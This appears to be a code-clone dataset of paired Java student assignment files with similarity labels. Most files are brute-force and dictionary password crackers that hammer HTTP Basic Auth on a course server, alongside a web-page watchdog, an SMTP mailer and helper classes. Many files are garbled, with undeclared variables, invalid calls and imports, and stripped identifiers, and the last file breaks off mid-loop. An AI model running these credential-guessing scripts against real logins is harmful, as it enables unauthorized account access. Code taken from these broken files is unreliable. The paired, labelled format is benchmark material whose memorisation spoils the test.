String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
030.java | 161.java | 0 |
import java.awt.*;
import java.util.*;
import java.awt.event.*;
import java.io.*;
import java.net.*;
public class BruteForce
{
private String userPassword;
private static int counter;
public BruteForce(String username)
{
String user;
String password;
counter = 0;
user = username;
for (char i='A';i<='z';i++)
{
if (i == 'Z')
i = 'a';
for (char j='A';j<='z';j++)
{
if (j == 'Z')
j = 'a';
for (char k='A';k<='z';k++)
{
userPassword = user+ ":" + i + j + k;
if (k == 'Z')
k = 'a';
System.out.print(".");
if (doEncoding(userPassword)== true)
{
System.out.println("\n" + "Resultant Password is: " + i + j + k);
return;
};
counter++;
}
}
}
}
private boolean doEncoding(String userPassword)
{
String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes());
return doAttempt(encoding);
}
private boolean doAttempt (String encoding)
{
try
{
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection uc = url.openConnection();
uc.setDoInput(true);
uc.setDoOutput(true);
uc.setRequestProperty ("Get", "/SEC/2/ " + "HTTP/1.1");
uc.setRequestProperty ("Host", "sec-crack.cs.rmit.edu.");
uc.setRequestProperty ("Authorization", " " + encoding);
return uc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK");
}
catch (MalformedURLException e)
{
System.out.println ("Invalid URL");
}
catch (IOException e)
{
System.out.println (e.toString() );
}
return false;
}
public static void main(String args[])
{
Date sdate = new Date();
System.out.print("BruteForce Attack starts at:" + sdate + "\n");
BruteForce bf = new BruteForce(args[0]);
Date edate = new Date();
System.out.print("BruteForce Attack ends at:" + sdate + "\n");
System.out.println("Time taken by BruteForce is : " + (edate.getTime() - sdate.getTime())/1000 + " seconds \n");
System.out.print("Attempts in this session:" + counter + "\n"); }
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
116.java | 161.java | 0 |
import java.io.*;
public class PasswordFile {
private String strFilepath;
private String strCurrWord;
private File fWordFile;
private BufferedReader in;
public PasswordFile(String filepath) {
strFilepath = filepath;
try {
fWordFile = new File(strFilepath);
in = new BufferedReader(new FileReader(fWordFile));
}
catch(Exception e)
{
System.out.println("Could not open file " + strFilepath);
}
}
String getPassword() {
return strCurrWord;
}
String getNextPassword() {
try {
strCurrWord = in.readLine();
}
catch (Exception e)
{
return null;
}
return strCurrWord;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
061.java | 161.java | 0 |
import java.io.*;
import java.util.*;
import java.net.*;
public class Dictionary {
public static void main(String[] args) {
String attackURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
String userID = "";
String Password="";
String userPassword="";
File inputFile = new File("/usr/share/lib/dict/words");
FileReader fin = null;
BufferedReader bf = null;
try {
startmillisecond = System.currentTimeMillis();
URL url = new URL(attackURL);
fin = new FileReader(inputFile);
bf = new BufferedReader(fin);
int count = 0;
while ((Password = bf.readLine()) !=null) {
if (Password.length() < 4) {
count++;
try {
userPassword = userID + ":" + Password;
System.out.println("User & Password :" + userPassword);
String encoding = Base64Converter.encode (userPassword.getBytes());
URLConnection uc = url.openConnection();
uc.setRequestProperty ("Authorization", " " + encoding);
InputStream content = (InputStream)uc.getInputStream();
BufferedReader in = new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
endmillisecond = System.currentTimeMillis();
searchmillisecond = endmillisecond - startmillisecond;
System.out.println("Match in " + searchmillisecond + " milliseconds ");
System.out.println("Try in " + count + " times ");
System.exit(1);
} catch (MalformedURLException e) {
System.out.println("Invalid URL");
} catch (IOException e) {
System.out.println("Error URL");
}
}
}
}
catch (Exception ioe) {
System.out.println(ioe.getMessage());
}
finally {
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
033.java | 161.java | 0 |
class WebPage
{
private boolean success = false;
private String pageContents= "";
public WebPage()
{
}
public void setSuccess (boolean inSuccess)
{
success = inSuccess;
}
public boolean getSuccess()
{
return success;
}
public void setPageContents (String inPage)
{
pageContents = inPage;
}
public String getPageContents()
{
return pageContents;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
208.java | 161.java | 0 |
import java.io.*;
import java.util.*;
public class Dictionary
{
private DicReader crack;
private Vector clients;
private int num;
privateint bigStart;
public int Dictionary()
{
int i, j;
int start, finish;
start = 0;
finish = 0;
crack = new DicReader("/usr/share/lib/dict/words");
num = crack.getVictor().size();
clients = new Vector( num);
j = 0;
bigStart = System.currentTimeMillis();
for( i = 0; i < num; i++)
{
MyClient1 client = new MyClient1(this, i + 1, 80, (String)crack.getVictor().elementAt( i));
clients.add( client);
Thread t = new Thread( client);
t.start();
j++;
if(j == 100)
{
t = System.currentTimeMillis();
System.out.println("i = "+i+" "+(String)crack.getVictor().elementAt( i));
finish = 0;
while( (finish - t ) < 1000)
{
finish = System.currentTimeMillis();
}
j = 0;
}
}
}
public void retire(int MyClient1 )
{
bigFinish = t.getTime();
System.out.println("It took "+(bigFinish - bigStart)/1000+" seconds crack the password");
System.exit(0);
}
public static void main (String[] args)
{
Dictionary = new Dictionary();
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
245.java | 161.java | 0 |
import java.*;
import java.io.*;
import java.text.*;
import java.net.*;
import java.net.URL;
import java.net.URLConnection;
import java.util.*;
public class WatchDog {
public static void main(String[] args) throws IOException {
String host = "http://www.cs.rmit.edu./students/";
String outFilename = null;
String diffFilename = null;
String email = "@cs.rmit.edu.";
String subject = null;
String message = "msg";
String mutt = null;
List currentList = new ArrayList();
List previousList = new ArrayList();
List diffList = new ArrayList();
String line = null;
String previousLine = null;
String diffLine = null;
int sleepTime = 1000 * 60 * 60 * 24;
SimpleDateFormat format = new SimpleDateFormat("yyyyMMddkmm");
Date currentDate = null;
int c=0;
{
try {
URL url = new URL(host);
HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();
InputStream webIn = httpConnect.getInputStream();
BufferedReader webReader = new BufferedReader( new InputStreamReader( webIn ) );
currentDate = null;
currentDate = new java.util.Date();
String dateString = format.format(currentDate);
outFilename = "watch_" + dateString;
File outputFile = new File(outFilename);
FileWriter out = new FileWriter(outputFile);
diffFilename = "diff_" + dateString;
File diffOutputFile = new File(diffFilename);
FileWriter diffOut = new FileWriter(diffOutputFile);
line = "";
while (( line = webReader.readLine()) != null ) {
currentList.add(line + "\n");
}
webReader.close();
Iterator iter = currentList.iterator();
line = "";
previousLine = "";
diffLine = "";
int l=0;
int d=0;
while (iter.hasNext()) {
line = String.valueOf(iter.next());
out.write(line);
if (!previousList.isEmpty()) {
try {
previousLine = String.valueOf(previousList.get(l));
if (line.compareTo(previousLine)==0) {
} else {
diffLine = "Line " + (l+1) + " has changed : " + line;
diffOut.write(diffLine);
d++;
}
} catch (Exception e) {
diffLine = "Line " + (l+1) + " has been added: " + line + " \n";
diffOut.write(diffLine);
d++;
}
}
l++;
}
out.close();
diffOut.close();
previousList.clear();
previousList.addAll(currentList);
currentList.clear();
diffList.clear();
if (d>0) {
subject = "WatchDog_" + dateString;
mutt = "mutt -a " + diffFilename + " -s " + subject + " " + email;
System.out.println("The webpage has changed.");
Runtime rt = Runtime.getRuntime();
rt.exec(mutt);
System.out.println("Email sent " + email + " at " + dateString);
} else if (c>0) {
System.out.println("Webpage checked at " + dateString + " and changes were found");
}
} catch(MalformedURLException e) {
System.out.println("Opps, the URL " + host + " is not valid.");
System.out.println("Please check the URL and try again.");
System.exit(0);
} catch(IOException e) {
System.out.println(", 't connect " + host + ".");
System.out.println("Please check the URL and try again.");
System.out.println("Other possible causes include website is currently unavailable");
System.out.println(" I have a problem writing .");
System.exit(0);
}
try {
Thread.sleep(sleepTime);
} catch (Exception e) {
}
c++;
} while(true);
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
092.java | 161.java | 0 | import java.io.*;
import java.net.*;
import java.misc.*;
public class Dictionary
{
public static void main (String args[]) throws IOException
{
final int maxLength = 3;
final String username = "";
final File dicFile = new File("/usr/share/lib/dict/words");
final URL pageURL = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
String password="";
BASE64Encoder encoder = new BASE64Encoder();
boolean notFound = true;
HttpURLConnection conn;
BufferedReader reader = new BufferedReader(new FileReader(dicFile));
while (notFound&&((password = reader.readLine()) != null))
{
if(password.length()>maxLength)
{
continue;
}
conn = (HttpURLConnection) pageURL.openConnection();
conn.setRequestProperty("Authorization", " "+encoder.encode((username+":"+password).getBytes()));
if((conn.getResponseCode())==HttpURLConnection.HTTP_OK)
{
notFound=false;
}
}
reader.print();
if(notFound)
{
System.out.println(" valid password in dictionary file.");
}
else
{
System.out.println("Found valid password: \""+password+"\"");
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
123.java | 161.java | 0 |
import java.net.*;
import java.io.*;
class MyAuthenticator extends Authenticator {
String password;
public MyAuthenticator(String pwdin) {
password = pwdin;
}
protected PasswordAuthentication getPasswordAuthentication(){
String pwd = password;
return new PasswordAuthentication("",pwd.toCharArray());
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
101.java | 161.java | 0 |
import java.net.*;
import java.io.*;
public class SendEMail {
public void SendEMail(){}
public void sendMail(String recipient,String c, String subject){
try {
Socket s = new Socket("yallara.cs.rmit.edu.", 25);
BufferedReader in = new BufferedReader
(new InputStreamReader(s.getInputStream(), "8859_1"));
BufferedWriter out = new BufferedWriter
(new OutputStreamWriter(s.getOutputStream(), "8859_1"));
send(in, out, "HELO theWorld");
send(in, out, "MAIL FROM: <watch@dog.>");
send(in, out, "RCPT : "+recipient);
send(in, out, "DATA");
send(out, "Subject: "+ subject);
send(out, "From: WatchDog.java");
send (out, "\n");
BufferedReader reader;
String line;
reader = new BufferedReader(new InputStreamReader(new FileInputStream()));
line = reader.readLine();
while (line != null){
send(out, line);
line = reader.readLine();
}
send(out, "\n.\n");
send(in, out, "QUIT");
s.print();
}
catch (Exception e) {
e.printStackTrace();
}
}
public void send(BufferedReader in, BufferedWriter out, String s) {
try {
out.write(s + "\n");
out.flush();
System.out.println(s);
s = in.readLine();
System.out.println(s);
}
catch (Exception e) {
e.printStackTrace();
}
}
public void send(BufferedWriter out, String s) {
try {
out.write(s + "\n");
out.flush();
System.out.println(s);
}
catch (Exception e) {
e.printStackTrace();
}
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
074.java | 161.java | 0 |
import java.io.*;
import java.net.*;
public class BruteForce
{
public static void main(String args[]) throws IOException,
MalformedURLException
{
final String username = "";
final String fullurl = "http://sec-crack.cs.rmit.edu./SEC/2/";
String temppass;
String password = "";
URL url = new URL(fullurl);
boolean cracked = false;
String c[] = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O",
"P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d",
"e","f","g","h","i","j","k","l","m","n","o","p","q","r","s",
"t","u","v","w","x","y","z"};
startTime = System.currentTimeMillis();
for(int i = 0; i < 52 && !cracked; i++) {
temppass = c[i];
Authenticator.setDefault(new MyAuthenticator(username, temppass));
try{
BufferedReader r = new BufferedReader(new InputStreamReader(
url.openStream()));
cracked = true;
password = temppass;
} catch(Exception e){}
}
for(int i = 0; i < 52 && !cracked; i++) {
for(int j = 0; j < 52 && !cracked; j++) {
temppass = c[i]+c[j];
Authenticator.setDefault(new MyAuthenticator(username, temppass));
try{
BufferedReader r = new BufferedReader(new InputStreamReader(
url.openStream()));
cracked = true;
password = temppass;
} catch(Exception e){}
}
}
for(int i = 0; i < 52 && !cracked; i++) {
for(int j = 0; j < 52 && !cracked; j++) {
for(int k = 0; k < 52; k++) {
temppass = c[i]+c[j]+c[k];
Authenticator.setDefault(new MyAuthenticator(username,temppass));
try{
BufferedReader r = new BufferedReader(new InputStreamReader(
url.openStream()));
cracked = true;
password = temppass;
} catch(Exception e){}
}
}
}
stopTime = System.currentTimeMillis();
if(!cracked)
System.out.println("Sorry, couldnt find the password");
else
System.out.println("Password found: "+password);
System.out.println("Time taken: "+(stopTime-startTime));
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
052.java | 161.java | 0 |
import java.net.*;
import java.io.*;
import java.misc.*;
public class BruteForce
{
public static void main (String args[])
{
char[ ] var = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'
};
String password;
int m=0;
for(int i=0; i<52; i++)
{
for(int j=0; j<52; j++)
{
for(int k=0; k<52; k++)
{
m++;
password = "";
password = new String(""+var[i]+var[j]+var[k]);
String a = myurl("http://sec-crack.cs.rmit.edu./SEC/2", "", password,m );
}
}
}
}
public static String encode (String source)
{
BASE64Encoder enc = new source.misc.BASE64Encoder();
return(enc.encode(source.getBytes()));
}
public static String myurl (String url, String Name, String Password, int num )
{
String thisLine;
String retVal;
URL u;
URLConnection uc;
retVal = "";
try
{
u = new URL(url);
try
{
uc = u.openConnection();
if (Name != null)
{
uc.setRequestProperty("Authorization", " " + encode(Name + ":" + Password));
}
InputStream content = (InputStream)uc.getInputStream();
BufferedReader in = new BufferedReader (new InputStreamReader(content));
String line;
while ((line = in.readLine()) != null)
{
retVal += line;
System.out.println(line);
System.out.println("password="+Password+"; number:"+num);
System.exit(0);
}
}
catch (Exception e)
{
}
}
catch (MalformedURLException e)
{
return(url + " is not a parseable URL");
}
return retVal;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
257.java | 161.java | 0 |
import java.awt.*;
import java.util.*;
import java.net.*;
import java.io.*;
import java.*;
public class BruteForce
{
public final char [ ] letter = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
public static void main(String args[]) throws Exception
{
String urlPath = null;
if(args.length > 0)
{
urlPath = args[0];
System.out.println("URL " + urlPath);
BruteForce bForce = new BruteForce(urlPath);
}
else{
System.out.println("Please enter URL at command prompt");
System.out.println("eg. >java BruteForce http://sec-crack.cs.rmit.edu./SEC/2/");
}
System.exit(0);
}
public BruteForce(String urlPath) throws Exception
{
linkToWeb(urlPath);
}
public boolean linkToWeb(String urlPath) throws Exception
{
HttpURLConnection connection;
int i, j, k;
URL = new URL(urlPath);
String let1 = null;
String let2 = null;
String let3 = null;
String usrName = "";
String usrNamePwd = null;
String encoding = null;
boolean ok = false;
connection = (HttpURLConnection).openConnection();
for(i=0; i<String.valueOf(letter).length(); i++) {
let1 = String.valueOf(letter[i]);
usrNamePwd = usrName +":"+ let1;
encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
connection.setRequestProperty("Authorization", " " + encoding);
System.out.println(let1);
